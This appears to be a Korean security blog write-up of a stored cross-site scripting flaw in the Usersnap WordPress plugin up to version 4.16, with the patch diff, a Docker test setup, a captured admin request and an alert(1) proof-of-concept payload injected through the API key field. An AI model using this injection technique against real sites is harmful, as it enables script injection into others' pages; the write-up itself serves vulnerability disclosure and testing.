반응형

ref

배경

  • Usersnap wp plugin은 사용자에게 피드백을 받아 관리하는 SaaS형 서비스의 플러그인이다.
  • 워드프레스용 Usersnap 플러그인은 API 키 값에 대한 충분한 입력 값 검사 및 출력 이스케이핑이 없기 때문에 버전 4.16 이하의 모든 버전에서 저장된 apikey 값에 대한 Cross-Site 스크립팅 취약점이 있습니다. 이로 인해 관리자 페이지와 사용자 페이지에서의 xss가 트리거 가능합니다. 관리자에 의해 취약성이 트리거가 가능한것으로 보이기 때문에 영향도는 낮습니다.

분석

409	389	            </p>
410	390	            <script type="text/javascript">
411	 	            jQuery(function() {
412	 	                jQuery('#us-settings-form').submit(function() {
413	 	                    if (jQuery('#us-api-key').val()!=='') {
414	 	                        var s = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i
415	 	                        if (!s.test(jQuery('#us-api-key').val())) {
416	 	                            jQuery('#us-api-key').focus();
417	 	                            jQuery('.wrap h2:last').after('<div class="error below-h2" style="margin-top:1em"><p><?php _e('Your API key is not valid, please check again!') ?></p></div>');
 	391	            function domReady(fn) {
 	392	                document.addEventListener("DOMContentLoaded", fn);
 	393	                if (document.readyState === "interactive" || document.readyState === "complete" ) {
 	394	                    fn();
 	395	                }
 	396	            };
 	397	
 	398	            domReady(function() {
 	399	                // validate settings form API key input and handle error display
 	400	                document.querySelector('#us-settings-form').addEventListener('submit', function(evt) {
 	401	                    var apiKeyInputField = document.querySelector('#us-api-key');
 	402	                    if (apiKeyInputField.value !== '') {
 	403	                        var s = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
 	404	                        if (!s.test(apiKeyInputField.value)) {
 	405	                            apiKeyInputField.focus();
 	406	                            evt.preventDefault();
 	407	                            // create the error message and add it into the DOM
 	408	                            var h2El = document.querySelector('.wrap h2.us-headline');
 	409	                            var divEl = document.createElement('div');
 	410	                            var pEl = document.createElement('p');
 	411	                            var textNode = document.createTextNode('<?php _e('Your API key is not valid, please check again!') ?>');
 	412	                            pEl.appendChild(textNode);
 	413	                            divEl.appendChild(pEl);
 	414	                            divEl.classList.add("error");
 	415	                            divEl.classList.add("below-h2");
 	416	                            divEl.style.marginTop = "1em";
 	417	                            var parentNode = h2El.parentNode;
 	418	                            parentNode.insertBefore(divEl, h2El.nextSibling);

테스트

  • wp docker를 설치하여 테스트 할 수 있다.
//https://github.com/docker/awesome-compose/tree/master/official-documentation-samples/wordpress/

services:
  db:
    # We use a mariadb image which supports both amd64 & arm64 architecture
    image: mariadb:10.6.4-focal
    # If you really want to use MySQL, uncomment the following line
    #image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:latest
    volumes:
      - wp_data:/var/www/html
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:
  wp_data:
  • 설치 후 기본 설정을 완료 한다.
  • 플러그인 → 플러그인 설치 → 4.16 이하 버젼을 설치→ 플러그인 활성화 한다.

  • 설정→Usersnap→Key를 설정한다. 본 취약점은 여기서 발생한다.

  • 변경 사항을 저장하면 다음과 같은 요청이 발생한다.
POST /wp-admin/options.php HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5163.147 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: <http://localhost:8888/wp-admin/options-general.php?page=usersnap%2Fusersnap.php>
Content-Type: application/x-www-form-urlencoded
Content-Length: 397
Origin: <http://localhost:8888>
Connection: close
Cookie: wordpress_cd9b744c619529c4988e0e94344eaf12=jp27680%7C1680404211%7CVushSRZj3op9Rz4ceEj6sCkGsZvHuRKAr1Jfv1q8WFT%7C1583311e6199cb376b48dd37625eafbd93c292a32829f5847a228693c25f71bd; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_cd9b744c619529c4988e0e94344eaf12=test%7C1680404211%7CVushSRZj3op9Rz4ceEj6sCkGsZvHuRKAr1Jfv1q8WFT%7C58f9a23b231a149e43396b44487b5c0064afe2aaf0b68f04b7f4f88f06335295; wp-settings-time-1=1680231562
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "macOS"
sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

option_page=usersnap_options&action=update&_wpnonce=a1d27a2c33&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dusersnap%252Fusersnap.php%26settings-updated%3Dtrue&usersnap_options%5Bapi-key%5D=cbbd390e-7b17-4d35-8107-6a89110a0ada&usersnap_options%5Bvisible-for%5D=all&usersnap_options%5Bvisible-for-backend%5D=backend&us_btn_save=%EB%B3%80%EA%B2%BD%EC%82%AC%ED%95%AD+%EC%A0%80%EC%9E%A5
  • 키값을 스크립트가 실행 가능한 형태로 제작한다. 키값은 위젯 url을 구성하는 파라미터가 된다.
  • 키값으로 완성된 파라미터는 아래의 widget_url로 입력된다.
(function() {
			    var s = document.createElement('script');
			    s.type = 'text/javascript';
			    s.async = true;
			    s.src = "<?php echo $options['widget_url'] ?>";
			    var x = document.getElementsByTagName('head')[0];
			    x.appendChild(s);
			})();
  • 페이로드 예제는 아래와 같이 쓸 수 있다.
option_page=usersnap_options&action=update&_wpnonce=a1d27a2c33&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dusersnap%252Fusersnap.php%26settings-updated%3Dtrue&usersnap_options%5Bapi-key%5D=cbbd390e-7b17-4d35-8107-6a89110a0ada**"</script><script>alert(1)</script>**&usersnap_options%5Bvisible-for%5D=all&usersnap_options%5Bvisible-for-backend%5D=backend&us_btn_save=%EB%B3%80%EA%B2%BD%EC%82%AC%ED%95%AD+%EC%A0%80%EC%9E%A5
  • 이로 인한 프론트의 결과는 아래와 같다.
<meta name="generator" content="WordPress 6.1.1" />
		<script type="text/javascript" data-cfasync="false">
						window['_usersnapconfig'] = {emailBoxValue: 'park.jiho@linecorp.com'};
							(function() {
			    var s = document.createElement('script');
			    s.type = 'text/javascript';
			    s.async = true;
			    s.src = "//api.usersnap.com/load/cbbd390e-7b17-4d35-8107-6a89110a0ada"</script><script>alert(1)</script>.js";
			    var x = document.getElementsByTagName('head')[0];
			    x.appendChild(s);
			})();
		</script>
		<style media="print">#wpadminbar { display:none; }</style>
	<style media="screen">

패치 방법

  • 패치 제공 Usersnap ≥ 4.17
반응형

+ Recent posts